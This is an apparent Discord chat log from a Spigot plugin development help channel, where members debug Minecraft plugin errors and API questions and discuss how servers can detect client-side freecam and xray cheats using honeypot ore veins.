https://tenor.com/view/bowser-super-mario-super-mario-bros-mario-let's-party-gif-11772852249185318477

[thorn isle]

radical 🤘

[jolly forum]

Hi, I have a small issue in Spigot 1.12.2. Here's the error:
🔗 https://pastebin.com/R5NiZ8vu

Here are my Main class and plugin.yml.

🔹 Main: https://pastebin.com/5vmss1i3
🔹 Plugin.yml: https://pastebin.com/WecVkcBf

[eternal oxide]

How are you building your plugin?

[jolly forum]

With gradle

[eternal oxide]

that class and plugin.yml will not generate that error. You are either using the wrong jar or have cached data. clean your project

[jolly forum]

Okay I'm going to clean it

It doesn't change anything

[blazing ocean]

@jolly forum share your buildscript

[jolly forum]

https://pastebin.com/AnLC22gP

[blazing ocean]

seems fine to me

check your compiled jar I guess

[jolly forum]

okay

[eternal oxide]

if it is a gradle cache issue https://www.baeldung.com/gradle-build-cache

I don;t use gradle so can't help there

[blazing ocean]

would be gradle clean build --no-build-cache

[jolly forum]

okay

[jolly forum]

It still doesn't work

[eternal oxide]

send your jar

[blazing ocean]

what does your compiled jar look like

[eternal oxide]

jar looks fine

[jolly forum]

So where could the error come from?

[eternal oxide]

let me check

[blazing ocean]

are you sure the plugin in your server is up to date

[jolly forum]

Yes

[jolly forum]

Thank you, really

[eternal oxide]

on a 1.12.2 server

[jolly forum]

wtf ?

The problem is at my server ?

[eternal oxide]

seems so

[jolly forum]

Ok thanks, I will investigate

[eternal oxide]

I deleted your jar. you can remove the link you posted above if you need

[jolly forum]

Thanks !

I found the error it's a conflict with my mod

BecauseBecause both had the same package name

[thorn isle]

[:zap:] Old Gen GC lasting 1203 ms. (cause = System.gc())
🤡
nevermind

fawe

amazing

can't believe how many years they have been in the business and still they do this

[eternal oxide]

just do it on repeat. I'm sure keeping memory clean will be good for performance.

[lime pulsar]

I dunno when I clean my memory i wake up with a hangover and code that works but i have no idea how...

[ivory sleet]

Its usually alright since 90% of servers disable this

[quaint mantle]

Can someone explain how "freelook" messes with server packets?

Or does it not?

[slender elbow]

well, it doesn't

the point is that it doesn't send packets to the server

[quaint mantle]

Is it completely not detectable?

[thorn isle]

at best you can maybe notice something iffy about the client with heuristics

but in principle yes, it is undetectable because, again, the client doesn't send any of that information to the server

the server already sends the chunk and block and much of entity data the client; what the client does with it is entirely up to it, and the server can't tell what the client does or stop it from doing it

in the most extreme case you have mods like litematica, which capture the incoming chunk packets and save them as a schematic, which the player can then load in a singleplayer world to inspect the world while they're completely offline

[slender elbow]

yeah mods like freelook and freecam, if done well, are completely undetectable

[thorn isle]

the best you can do to combat it is to not send the data in the first place

which is how ore obfuscator and paper's anti-xray works

[rough drift]

you can notice weird stopping and starting patterns

[thorn isle]

you can

or you can't

depends on the client

[rough drift]

no, you 100% can

[thorn isle]

you can't if there aren't any

the player could for example be just standing still

[rough drift]

the routine of a player randomly not moving forward anymore for X seconds, then moving a complete opposite direction as what they were doing can, if enough data is gathered, probably be a good enough heuristic

[thorn isle]

how do you tell if they're afk or using freecam? what if the client replays a predefined set of movements while the user is in freecam?

this is what i meant by heuristics

[rough drift]

in the extreme case you can check if a player is repeating movements

[thorn isle]

the hack itself is undetectable, but there may be side effects like what you're describing that are a tell

[slender elbow]

you 100% cannot with certainty determine if they're using such mods

[thorn isle]

but emphasis on word may

[slender elbow]

at best you can guess, and those will come with false positives

[rough drift]

yeah, obviously

[slender elbow]

but a lot of false negatives too

the metrics vary wildly from player to player

[thorn isle]

historically i think keepalive spam and unexpected look/move packets have been used to detect them, but that only works for trivial implementations of the hack

[slender elbow]

it's just not something you can realistically perform with a few hours of playtime

[rough drift]

I mean, maybe?

[thorn isle]

my favourite way of dealing with hacks like these are honeypots

[rough drift]

oh yeah, that is a good way lol

[slender elbow]

^ that's gonna be infinitely better than recording movements

[thorn isle]

that's why i don't use paper's anti-xray either

[rough drift]

you could spawn fake ore veins which are only visible if someone's mining above a certain threshold of something

[dense falcon]

How may I add a permission to a player? Like add the permission myplugin.cmd.run (to run a command I mean).

[thorn isle]

hide all diamond veins except one, basically

it's kind of an obvious honeypot when you think about it and know it's there, but it's very effective

[rough drift]

I wouldn't hide the others

[thorn isle]

having a lot of veins means the probability of the player randomly running into one of them is higher

[rough drift]

yeah, which is why you could do a 50/50

[thorn isle]

if there's just one, and the player hits that one rather than the 50 others, you can be pretty sure they're seeing things they're not supposed to be

[rough drift]

ah you mean it like that

fairs

[thorn isle]

hiding half would work as well but you'd probably want to let them get flagged four or five times before taking any action

maybe that is better; at least it's less obvious

[rough drift]

yeah

that's my thought

you would never put honeypots next to air, though

[thorn isle]

yeah people walking around in caves makes it difficult

programmatically, xray looks very similar to when a player sees ores on the inside face of a cave from some distance away

you could limit the honeypots to just completely obscured ores, but then you won't catch people using transparent resourcepacks

[quaint mantle]

I'll read through the messages

Thanks

[grim hound]

What do you guys use for gif hosting?

how do you display gifs on spigot?

[sullen marlin]

You can upload attachments up to a certain size

Or embed external images up to 5mb

[grim hound]

...I don't think that'll work

[grim hound]

This is like 10 seconds long

how does it weigh 123MB

[slender elbow]

gif is a stupid format

or, well, no, it's just a poorly used and highly abused format

[thorn isle]

very sensitive to palette and compression and other settings

[grim hound]

so which format should I use if I just want to display a very short video?

[on spigot]

[remote swallow]

youtube

[grim hound]

what in the
ah

I guess that's a format

[young knoll]

No as in

Upload it to YouTube

[grim hound]

AH

I guess that's what happens when you have > 1 braincells (for me it went to the else statement)

[tough rose]

        if (e.getView().getTitle().equals(ChatColor.YELLOW + "Стакер")) {
            if (e.getCurrentItem() == null) {
                p.sendMessage("Эта хуйня равняется null, ты заебал уже");
                return;
            }
                e.setCancelled(true);
                if (e.getCurrentItem() != null && e.getCurrentItem().getType() == Material.POTION) {
                    if (e.getRawSlot() >= 54) {
                        openstacker.menu.addItem(e.getCurrentItem());
                        if (e.getCurrentItem() != null) {
                            p.getInventory().setItem(e.getSlot(), new ItemStack(Material.AIR));
                            return;
                        }
                        p.sendMessage(ChatColor.GREEN + "Вы нажали на " + e.getRawSlot() + " слот");
                    }else if (e.getRawSlot() < 0) {
                        p.sendMessage(ChatColor.RED + "Вы кликнули вне инвентаря!");
                        return;
                    }
                } else {
                    p.sendMessage("Вы нажали не в нужном меню");
                    p.sendMessage(ChatColor.GREEN + "Вы нажали на " + e.getRawSlot() + " слот");
                }
        }

hello everyone. Who can help me? When i click on air or on potion, console send me error:

Caused by: java.lang.NullPointerException: Cannot invoke "org.bukkit.inventory.ItemStack.getType()" because the return value of "org.bukkit.event.inventory.InventoryClickEvent.getCurrentItem()" is null

i try all metods, variants. But all don't give me result...

[thorn isle]

because the return value of [...]getCurrentItem() is null

[tough rose]

i know, but where me place it:

return;```

i know why i get this error but i don't know how fix this

[thorn isle]

assign it to a variable rather than calling the method every time

[tough rose]

i teach it 1 week, can you show me example where me do it?

[thorn isle]

not without a full error and line numbers

[tough rose]

[00:37:57] [Server thread/ERROR]: Could not pass event InventoryClickEvent to Stacker v1.0
org.bukkit.event.EventException: null
at org.bukkit.plugin.java.JavaPluginLoader$1.execute(JavaPluginLoader.java:310) ~[spigot-api-1.20.1-R0.1-SNAPSHOT.jar:?]
at org.bukkit.plugin.RegisteredListener.callEvent(RegisteredListener.java:70) ~[spigot-api-1.20.1-R0.1-SNAPSHOT.jar:?]
at org.bukkit.plugin.SimplePluginManager.fireEvent(SimplePluginManager.java:589) ~[spigot-api-1.20.1-R0.1-SNAPSHOT.jar:?]
at org.bukkit.plugin.SimplePluginManager.callEvent(SimplePluginManager.java:576) ~[spigot-api-1.20.1-R0.1-SNAPSHOT.jar:?]
at net.minecraft.server.network.PlayerConnection.a(PlayerConnection.java:2782) ~[spigot-1.20.1-R0.1-SNAPSHOT.jar:3871-Spigot-d2eba2c-3f9263b]
at net.minecraft.network.protocol.game.PacketPlayInWindowClick.a(SourceFile:58) ~[spigot-1.20.1-R0.1-SNAPSHOT.jar:3871-Spigot-d2eba2c-3f9263b]
at net.minecraft.network.protocol.game.PacketPlayInWindowClick.a(SourceFile:13) ~[spigot-1.20.1-R0.1-SNAPSHOT.jar:3871-Spigot-d2eba2c-3f9263b]
at net.minecraft.network.protocol.PlayerConnectionUtils.lambda$0(PlayerConnectionUtils.java:31) ~[spigot-1.20.1-R0.1-SNAPSHOT.jar:3871-Spigot-d2eba2c-3f9263b]
at net.minecraft.server.TickTask.run(SourceFile:18) ~[spigot-1.20.1-R0.1-SNAPSHOT.jar:3871-Spigot-d2eba2c-3f9263b]

Caused by: java.lang.NullPointerException: Cannot invoke "org.bukkit.inventory.ItemStack.getType()" because the return value of "org.bukkit.event.inventory.InventoryClickEvent.getCurrentItem()" is null
at net.scr.stacker.Listener.getpotion.onPotion(getpotion.java:16) ~[?:?]
at jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method) ~[?:?]
at jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:77) ~[?:?]
at jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) ~[?:?]
at java.lang.reflect.Method.invoke(Method.java:568) ~[?:?]
at org.bukkit.plugin.java.JavaPluginLoader$1.execute(JavaPluginLoader.java:306) ~[spigot-api-1.20.1-R0.1-SNAPSHOT.jar:?]
... 20 more

i can send more, discord block

[buoyant viper]

?paste

[undone axle]

https://paste.md-5.net/

[rough ibex]

Dont check the names of guis

bad idea

[thorn isle]

now let's see line 16 of the class

[sly flint]

hey guys i have this error [00:09:05 ERROR]: Error occurred while enabling ExcellentServerManager v2.3 (Is it up to date?) java.lang.NullPointerException: Cannot invoke "org.bukkit.command.PluginCommand.setExecutor(org.bukkit.command.CommandExecutor)" because the return value of "org.abo876.excellentServerManager.ExcellentServerManager.getCommand(String)" is null at org.abo876.excellentServerManager.ExcellentServerManager.registerCommands(ExcellentServerManager.java:238) ~[ExcellentServerManager-2.3.jar:?] at org.abo876.excellentServerManager.ExcellentServerManager.onEnable(ExcellentServerManager.java:186) ~[ExcellentServerManager-2.3.jar:?] at org.bukkit.plugin.java.JavaPlugin.setEnabled(JavaPlugin.java:281) ~[paper-api-1.19.4-R0.1-SNAPSHOT.jar:?] at io.papermc.paper.plugin.manager.PaperPluginInstanceManager.enablePlugin(PaperPluginInstanceManager.java:189) ~[paper-1.19.4.jar:git-Paper-550] at io.papermc.paper.plugin.manager.PaperPluginManagerImpl.enablePlugin(PaperPluginManagerImpl.java:104) ~[paper-1.19.4.jar:git-Paper-550] at org.bukkit.plugin.SimplePluginManager.enablePlugin(SimplePluginManager.java:507) ~[paper-api-1.19.4-R0.1-SNAPSHOT.jar:?] at org.bukkit.craftbukkit.v1_19_R3.CraftServer.enablePlugin(CraftServer.java:563) ~[paper-1.19.4.jar:git-Paper-550] at org.bukkit.craftbukkit.v1_19_R3.CraftServer.enablePlugins(CraftServer.java:474) ~[paper-1.19.4.jar:git-Paper-550] at net.minecraft.server.MinecraftServer.loadWorld0(MinecraftServer.java:638) ~[paper-1.19.4.jar:git-Paper-550] at net.minecraft.server.MinecraftServer.loadLevel(MinecraftServer.java:437) ~[paper-1.19.4.jar:git-Paper-550] at net.minecraft.server.dedicated.DedicatedServer.initServer(DedicatedServer.java:308) ~[paper-1.19.4.jar:git-Paper-550] at net.minecraft.server.MinecraftServer.runServer(MinecraftServer.java:1104) ~[paper-1.19.4.jar:git-Paper-550] at net.minecraft.server.MinecraftServer.lambda$spin$0(MinecraftServer.java:320) ~[paper-1.19.4.jar:git-Paper-550] at java.lang.Thread.run(Thread.java:840) ~[?:?] [00:09:05 INFO]: [ExcellentServerManager] Disabling ExcellentServerManager v2.3

and i don't how to fix it
i add 2 commands and it give me this error

  this.getCommand("hunter").setExecutor(new Hunter());```

[eternal oxide]

you didn;t add command/s to plugin.yml

[tough rose]

🥺

[sly flint]

i did

[eternal oxide]

you did a typo or you have a bad jar

[worthy yarrow]

Let's just blame it on paper

[remote swallow]

what about it being

[buoyant viper]

doesnt sound very Excellent to me

[grim hound]

Vulcan learned that the hard way

[dense falcon]

@EventHandler
    public void onInteract(PlayerInteractEvent event) {
        Player player = event.getPlayer();
        Action action = event.getAction();
        ItemStack item = event.getItem();

        if (event.getClickedBlock() != null && action == Action.RIGHT_CLICK_BLOCK) {
            BlockState state = event.getClickedBlock().getState();
            if (state instanceof Sign) {
                Sign sign = (Sign) state;
                SignSide signSide = sign.getSide(Side.FRONT);


                System.out.println(signSide.getLine(0));
                System.out.println(signSide.getLine(1));
                System.out.println(signSide.getLine(2));
            }
        }
    }

§l[§x§6§6§C§C§F§F§l1vs1§r§l]
§f1vs1-01
§cNature
```I used a panel generator to have custom panels and I would like to check if on the plugin side it is a specific panel, except that when I retrieve the lines it displays strange characters...

What can I do to avoid this?

[dense falcon]

Found a solution, using ChatColor.stripColor to "remove" these characters.

[sour mountain]

You gotta do this when checking commands too sometimes

[fallow violet]

What does Bukkit#getOfflinePlayer returns when a player is online and vise versa?

[eternal oxide]

it gets the OfflinePlayer

[fallow violet]

oke

[slim wigeon]

How do I check if the dispenser is powered?

[eternal oxide]

Touch its contacts with your tongue

https://hub.spigotmc.org/javadocs/spigot/org/bukkit/block/data/type/Dispenser.html

[slim wigeon]

So I need the dispenser class?

[eternal oxide]

blockData

[slim wigeon]

From blockState? Then blockData?

[thorn isle]

you can get BlockData directly

[eternal oxide]

Block has a getBlockData

[thorn isle]

Block::getBlockData

you can also get the state if you also want to fiddle with e.g. the dispenser inventory contents

[eternal oxide]

You can even check the power to the block if you want that over its triggered state

[thorn isle]

there's also an event for when a dispenser fires in case you want to do something when it gets powered rather than if its powered

[eternal oxide]

So many answers 🙂

[slim wigeon]

There must not be a function for this check on dispensers. Because I not finding this function on 3 different classes

((Dispenser) this.getBlock().getBlockData()).isPowered();

[thorn isle]

which Dispenser did you import?

there are two; one for the tile entity and another for the block data

[slim wigeon]

The ones detected by my IDE

[eternal oxide]

you will not get an isPowered from Dispenser

its triggered not powered

a Block has a getBlockPower() which returns a level of power

Note there is no Dispenser as a subinterface https://hub.spigotmc.org/javadocs/spigot/org/bukkit/block/data/Powerable.html

https://hub.spigotmc.org/javadocs/spigot/org/bukkit/block/data/type/Dispenser.html#isTriggered() If you want its triggered state, else its Block::getBlockPower()

[slim wigeon]

What is the effect for flames?

[torn shuttle]

so annoying, I need to remake my dev environment

I now have an ecossystem that has...5 different plugins and 2 different shaded libraries I made to run one game mode

it's a torment to update anything and test it across mc versions

[fervent robin]

?paste

[undone axle]

https://paste.md-5.net/

[fervent robin]

Why is foot and head not instances of bed? Theyre being to set to bed block
https://paste.md-5.net/ogeqiyomil.cs

[slim wigeon]

There is the plugin in action, still work to do on it

[jagged thicket]

that looks cool asf

[slim wigeon]

I love how the plugin operates. I wish Songoda has something like this, it be useful for people to use. Not releasing my plugins

[livid tundra]

when I use EntityDeathEvent event to get the death of an ender dragon, it fires the moment the dragon is killed. however, I want to get the moment when I should start dropping stuff, i.e, after egg spawns/xp dropping starts/finishes

how do I do so?

[slim wigeon]

Maybe? Bukkit.getScheduler().scheduleSyncRepeatingTask(this, (Runnable)new Runnable() { @Override public void run() { for(Miner miner : miners) { miner.mine(); } } }, 2L, 2L);Without the for loop

That should help you but maybe someone can give you another way

[livid tundra]

?

[smoky anchor]

(Runnable)new Runnable()
That "cast" is useless, does your IDE not scream at you for that ?
And who are you talking to, did I miss some convo ?

[slim wigeon]

Was responding to this but no, it does not. If I need to change how the code is written, I will change it. But right now, I just want to get all the plugins in functional state then I worry about that

[smoky anchor]

Literally what
He's asking a question, not commenting about your plugin.

[sterile axle]

How does what you responded with answer their question in any way at all whatsoever

[nova notch]

https://tenor.com/view/guy-arguing-guy-talking-to-wall-talking-brick-wall-gif-18667615

[livid tundra]

oh I think he read the "how do I do so" part seperately lol

srry bout that

[sterile axle]

Anyway, is EntityDeathEvent too early for what you want or? What. I'm not sure if there is another more applicable event.

[smoky anchor]

I can only think of combination of
Running a task to check for https://hub.spigotmc.org/javadocs/spigot/org/bukkit/entity/EnderDragon.html#getDeathAnimationTicks()
After the dragon phase change event https://hub.spigotmc.org/javadocs/spigot/org/bukkit/entity/EnderDragon.Phase.html#DYING

[livid tundra]

I was asking about the question

[livid tundra]

yeah its too early

[slim wigeon]

He is not asking me about my plugin, true. But he was asking how he can detect drops and stuff. I don't know how to really detect that but to throw a timer

[smoky anchor]

Not sure when DYING will fire tho

[sterile axle]

cool idea. will probably work. would be nice if we could add another event to the api for this though

[livid tundra]

yeah I dont htink thats an event

[smoky anchor]

https://hub.spigotmc.org/javadocs/spigot/org/bukkit/event/entity/EnderDragonChangePhaseEvent.html

[livid tundra]

does dying happen before or after getdeathanimationtcks?

oh nvm lol

[sterile axle]

yep listen for that, if dying, you can probably just do a delayed task of 200 ticks (length of death animation) and then drop your items

or whatever you're doing

[livid tundra]

I thought of waitng, but when it dies, it first flies to the center I think

that kinda messes up the timing

[smoky anchor]

I'd probably create some debug logging for when which event fires & the value

[sterile axle]

or 200-getDeathAnimationTicks() to account for the delay, I suppose.

or +? idk

might have to play with it

[smoky anchor]

I think the animation starts when the dragon reaches the portal, stops and starts breaking
It would not account for the dragon first flying to the portal from the place where it died
Hence why I think you have to start a ticking task
But as person above me said, play with it

[livid tundra]

dying is when its flying, right?

[smoky anchor]

Don't know
It may be when the animation starts
Again, test this

[sterile axle]

public static final EnderDragon.Phase DYING
The dragon will fly to the vicinity of the portal and die.

So the DYING phase includes flying to the portal before dying. I assume "and die" means the dying animation (which is 200 ticks long)

[smoky anchor]

Ye just was about to send that lul

[sterile axle]

So 200 + some time

[livid tundra]

alr, thx

[sterile axle]

Not sure how to get "some time"

But play with it

[livid tundra]

also, how do I do a repeating task to check?

[smoky anchor]

Well.. this guy already sent it :D

[livid tundra]

oh lol

[smoky anchor]

I think this allows you to cancel() from within

[livid tundra]

but like how would I end it

oh ok lol

thanks!

uh how exactly do I cancel from within?

do I have to save the taskid to a variable and use that within it?

[smoky anchor]

Actually you may have to create a BukkitTask

I haven't done this in years so I don't remember, sorry

Wiki has detailed description of dying

[pseudo hazel]

yes use a BukkitRunnable

that has a .cancel() method

[livid tundra]

alr, thanks!

yeah, your guess was right, thanks!

[slim wigeon]

Most times, I wish we don't have to use them but we cannot avoid it sometimes

How do I get the bedrock level of a world?

[smoky anchor]

https://hub.spigotmc.org/javadocs/spigot/org/bukkit/generator/WorldInfo.html#getMinHeight()

[slim wigeon]

Thanks, ChatGPT beat you to that. Just wanted my miners to reach bedrock

[slim wigeon]

This is the plugin in action

[smoky anchor]

Stop using ChatGPT

You won't get any better with it

[slim wigeon]

Better with what, you not making any sense here?

[tranquil pecan]

with chatgpt

[smoky anchor]

I am making sense
Your English is just not good enough I guess

[slim wigeon]

If I want a quick response, I have to try ChatGPT first

[smoky anchor]

First you should check docs
If you were gonna ask ChatGPT anyways, why ask here, you're just wasting our time

[slim wigeon]

I do sometimes but like I said I don't know how long ago. I said that I ask multiple servers then I got threaten with a time out on PaperMC. I not the type of person who would wait 5+ months to get a functional server/plugins. That is one of the reasons I asked for the pirated plugin which I might buy if my money allows, then I got threaten with a ban. So what is it going to be?

[smoky anchor]

You're really annoying
None of what you said is relevant
Stop bringing old stuff nobody but you cares about

[slim wigeon]

Past follows, I don't know what to say. I cannot magically change the past like I wish I would. So if you find me annoying, you can do what other people always does, that is block me. Otherwise, I either keep the peace or try to

[smoky anchor]

I'm just asking you to stop bringing up irrelevant stuff

[hardy cairn]

hey does someone have an idea for how to make a soulbound items, i made one earlier but it was buggy

[smoky anchor]

As in an item that can never leave a players inventory ?

Probably just cancel all events that relate to moving item to other inventory.
For death I'd say force keep inventory and drop items manually if they're not soulbound

[wooden frost]

how much does Task.runtasklater affect the performance(if at all) compared to a single task that runs every tick?
For example, if i want to restore a certain block type after its broken,
Should i A: runtasklater and cancel the block break event.
Or B: Add the block to a hashmap and iterate through the hashmap in a Timer task that runs each tick(maybe 5 ticks).

Which would be better?

[smoky anchor]

If your A is: store the event and cancel it later
Then hell no, that is not only beyond cursed, but will not work.

[chrome beacon]

Can't cancel event after it has happened

Or well passed, you get what I mean..

[wooden frost]

I mean not cancel, yes, i meant :
Store the block type
Run a scheduled task inside of the event to replace the block type to the stored one.

something along the lines of this:
(BRO, PSEUDOCODE WRITTEN BY RUSSIAN SCHIZO, CHILL OUT😭)

@EventHandler
public static void(Event e){
  Block b = e.getBlock();
  Material MatReturn = b.getType();
  BukkitRunnable BR = {
    public void run(){
      b.setType(MatReturn);
    }
  };
  BR.runtasklater(plugin,12l);
}

[wooden frost]

Would this be heavy on the server?

[smoky anchor]

formatting please

[blazing ocean]

that is

something

[wooden frost]

Bro i just wrote it out of my head😭

[smoky anchor]

oh it hurts bad the more I look at this

oh- ok
Hope you follow java naming conventions in your actual code

[wooden frost]

It'll be read only by me, so unfortunately no

I never really gave it too much thought . As a wise man once said "if it works it works"

Good? no.

[smoky anchor]

I mean sure, just never show us then :D

[wooden frost]

i just wrote it to get across what i mean

😭

[hardy cairn]

thanks i will try that then ig

[wooden frost]

Will that be worse than a single timer task that check every tick inside a hashmap, or better?

[smoky anchor]

You don't need a hashmap
There are some optimizations you can do here

[smoky anchor]

For this you'd be "letting java handle it" partially
So I have no clue how it would do

[hardy cairn]

i mean it looks like it would hurt the server but uhhh

[drowsy helm]

depends whta the event is

[smoky anchor]

I personally would not do a task per block, I'd optimize the ticking task

[drowsy helm]

but either way it would be a negligible performance diff

[wooden frost]

oh, fr?

yipee

gona do some more devious shit then😭

[hardy cairn]

i mean if it works its works

lol

[wooden frost]

true

[smoky anchor]

Remember that stuff like stairs exists, so storing just the material may not be enough to restore a block later.

[hardy cairn]

oh yea

[smoky anchor]

Depends on what you're doing tho.

[hardy cairn]

what you wanna do tho

like

what you cooking

[drowsy helm]

Just copy the world file, then when you need the block load the world and get the block at that given point

[wooden frost]

It was just for an example, of an either using a loop, or multiple runtasklaters

my brain melted

gona leave before it gets worse

😭

[smoky anchor]

👍

[hardy cairn]

us fr

[wooden frost]

Ok, in a nutshell, (non native moment, mental degradation), what i meant is if the ammount of tasks that were scheduled over the span of the server, can affect it's tps and performance (idk, maybe it has to iterate through more)
And also an added question i've just had, if it has a limit to ammount of schedules the server can handle

            @Override
            public void run() {
                BukkitRunnable BR = new BukkitRunnable() {
                    @Override
                    public void run() {
                        plugin.getServer().sendMessage(Component.text("Task ID:"+this.getTaskId()+" | TPS:"+plugin.getServer().getTPS()[0]));
                    }
                };
                BR.runTaskLater(plugin,10);
            }
        },0L,1L);```

[wooden frost]

idk why i thought the ammount of tasks scheduled previously, can affect the performance, i just wanted to give it a shot and see if it has any actual impact or not.

[wooden frost]

Honestly should've done this myself, not to make myself a fool. Already at task 8k and i now am sure that it doesn't affect it that much.

[smoky anchor]

Ye just running a task like this won't hurt the performace in the long run

[blazing ocean]

?whereami

[undone axle]

https://cdn.discordapp.com/attachments/864180468680360027/944415049462714469/whereami.mp4

[wooden frost]

stop being an asshole, i told u im banned there. plus isn't the bukkit runnable still the same BUKKIT runnable on paper?

[blazing ocean]

you are still using paper and this is spigot

you're banned there for a good reason

[wooden frost]

https://tenor.com/view/dillom-rage-dog-angry-dog-gif-17954176246139200797

honestly, i'd say u're trolling at this point

gonna block you so that i dont get triggered

[blazing ocean]

[smoky anchor]

Yo why they banned there ? :D

[wooden frost]

check profile and take a guess

[wet breach]

not necessarily. API doesn't guarantee implementation is the same or that it works exactly the same way behind the scenes

also, paper deviated from spigot some time ago

[wooden frost]

hm

actually probably ye

[wet breach]

therefore nothing in spigot is guaranteed to be the same in paper

[young knoll]

Let’s automod the word paper

Totally a good idea with no chance to backfire

[wooden frost]

https://cdn.discordapp.com/attachments/1269180018379198571/1270240619905679471/togif-9.gif

I like writing essays on paper using a pen

LightTroll

[short pilot]

heyo guys i need help with custom mobs again

• How could one make something like the bedbugs in Bedwars (custom iron golems) that attack players of a different team?
• Custom mobs I currently make also do not save between resets and I am wondering how to implement this

i recall the NMS target selector

which does work

[smoky anchor]

Do you need custom mobs ?
Just setting the mob on the same team with the players should work.

[short pilot]

ok so

how do i put this one sec

[smoky anchor]

(or are those two separate things)

[short pilot]

this is an experimental factions plugin type thing im testing, trying to make each faction be able to have their own defenders that attack non friendly faction players

so the factions are coded and can be checked

[smoky anchor]

Aaah

[short pilot]

can i add this to target selectors ? Or is that not how it works

like can i do a check if the targeted player is in said faction , and not target it

[smoky anchor]

Ye that sounds doable

For the persistency
I think it was "give it a custom pdc tag, on entity load: despawn that entity and respawn your custom one"

[short pilot]

my original idea im not sure if it's good anymore; was planning on tracking the position coords etc and then reloading the custom entity data

dam pdc

can u give me any guides or docs on that

[smoky anchor]

?pdc

[undone axle]

https://www.spigotmc.org/threads/a-guide-to-1-14-persistentdataholder-api.371200/

[short pilot]

and to check if it's the correct entity would this be a coordinate check ? or some other way

[smoky anchor]

no ?
Check the PDC of the entity

[short pilot]

hmm

[smoky anchor]

Use https://hub.spigotmc.org/javadocs/spigot/org/bukkit/event/world/EntitiesLoadEvent.html
Iterate over each entity
Check for PDC
Do the respawn thing

[short pilot]

in this case would pdc have to be unique for every custom mob?

im trying to think about how to differentiate between the faction's for each mob

[smoky anchor]

the PDC should be "I am a custom mob of this type"
You can use PDC to store other data too

[short pilot]

gotcha

so i coudl use that to store said "team" aka faction, and the mob custom type

[smoky anchor]

exactly

[short pilot]

gotcha thanks

are nbt tags ever used anymore

feels like it is similar

[blazing ocean]

PDC is a wrapper over the custom_data component, or NBT on older versions

[jagged thicket]

im saving this image

[short pilot]

ah

ty for ur help

[hushed spindle]

looking at the docs for Bisected (block data), and it says how its halves denote the top or bottom half of a 2-tall block like a door. but it also has stairs or trap doors as implementations, but strangely enough not slabs

is that a mojang moment or could that be improved on spigot side

[smoky anchor]

Slabs don't have that 'cause they have 3 states
Top, Bottom, Double

[wooden frost]

legendary shit, ikr?

https://tenor.com/view/dopekingzii-gang-dope-dope-gang-dopekingzii-discord-gif-21376878

[hushed spindle]

right that makes sense

[vital sandal]

https://paste.md-5.net/duvesefado.xml
this is what I'm using to compile individual package how every it is output .java which is not compiled can anyone help me with this

[quaint mantle]

can i change server view-distance with api?

i mean without server properites

[slender elbow]

no||t on spigot||

[lime pulsar]

?paste

[undone axle]

https://paste.md-5.net/

[worldly ingot]

It's a good thing I can't read spoiler text

[remote swallow]

You can read?

[pseudo hazel]

he never said that

seems like you cant read either

[slim wigeon]

For people asking for the view-distance. I just researched it.Its actually a spigot setting. You're looking for entity-tracking-range in spigot.yml. Then player under that. Distance in blocks. I think you need to change other too because it says "Other is a general maximum limit for all entities on your server" on Spigot's site. Source: https://www.reddit.com/r/admincraft/comments/11cujw6/papermc_player_draw_distance_lower_than_view/

[thorn isle]

entity-tracking-range is for entities, view-distance is for chunks

[blazing ocean]

that does not change the fact you can't change it from the api

[torn shuttle]

huh

stopSound is doing something weird

[12:32:48] [Server thread/WARN]: [EliteMobs] Task #17944845 for EliteMobs v9.3.2 generated an exception
java.lang.NullPointerException: Cannot invoke "String.indexOf(int)" because "location" is null
    at net.minecraft.resources.ResourceLocation.bySeparator(ResourceLocation.java:82) ~[paper-1.21.4.jar:1.21.4-177-e5a8ee8]
    at net.minecraft.resources.ResourceLocation.parse(ResourceLocation.java:64) ~[paper-1.21.4.jar:1.21.4-177-e5a8ee8]
    at org.bukkit.craftbukkit.entity.CraftPlayer.stopSound(CraftPlayer.java:927) ~[paper-1.21.4.jar:1.21.4-177-e5a8ee8]
    at org.bukkit.craftbukkit.entity.CraftPlayer.stopSound(CraftPlayer.java:915) ~[paper-1.21.4.jar:1.21.4-177-e5a8ee8]
    at EliteMobs.jar/com.magmaguy.elitemobs.mobconstructor.custombosses.CustomMusic.lambda$play$1(CustomMusic.java:139) ~
<...>

((Player) player).stopSound(currentCustomMusic.name2);
what is that, a player going offline?

what is it even trying to do with the location

that can't actually be a bukkit location right

[thorn isle]

resourceLocation

[torn shuttle]

does it think that sound doesn't exist?

[thorn isle]

maybe it's location as in resource location rather than bukkit location

[torn shuttle]

it has to be

weird

[thorn isle]

which, iirc the packet lets you stop a specific sound

[torn shuttle]

so I am going to guess the sound somehow managed to just not exist and it results in an error

[thorn isle]

god knows

plug it into a debugger

[torn shuttle]

can't replicate it

[thorn isle]

💀

[torn shuttle]

matter of fact I've never seen it before to day and this code is

hm

7 months old

[thorn isle]

parse and bySeparator expect a string to parse

[torn shuttle]

well it is a string

and it is a not null string

[thorn isle]

are you maybe passing a Sound rather than a string?

I could maybe possibly see Sound.getKey() being null

    public void stopSound(Sound sound) {
        this.stopSound((Sound)sound, (SoundCategory)null);
    }

    public void stopSound(String sound) {
        this.stopSound((String)sound, (SoundCategory)null);
    }

    public void stopSound(Sound sound, SoundCategory category) {
        this.stopSound(sound.getKey().getKey(), category);
    }

[torn shuttle]

it's a string

becuse it's a custom sound from a rsp

[blazing ocean]

make sure the key you're passing isn't doing something weird

[torn shuttle]

hm, I'll just kill the error and output a debug line for future reference just in case

[thorn isle]

i don't see any data flow path apart from that getKey bit that'd result in a nonnull string ending up as null by the time it gets to that line

[torn shuttle]

well, guess 3 months from now I might get a hint about it

when it gets reported as just a console message

[slim wigeon]

How do I check if the area is air, water or lava? No solid blocks

[worthy yarrow]

Block.isSolid iirc

[slim wigeon]

That is for one block, I need a area

[worthy yarrow]

Yeah just iterate over the area and check .isSolid

[slim wigeon]

I did that and its not working public boolean isYLevelEmpty(int y) { for(int x = -size; x < size; x++) { for(int z = -size; z < size; z++) { if( this.block.getRelative(0, -2, 0).getRelative(x,-y,z).getType().isSolid() ) { return false; } } } return true; }

[worthy yarrow]

There’s no api for checking a region

[worthy yarrow]

Well you’re not using the integer you passed that method, why are checking 2 below? Just use the Y variable you passed

[slim wigeon]

Because 0 is the miner if I don't do -2

[worthy yarrow]

So then why are we even passing a int for the y axis

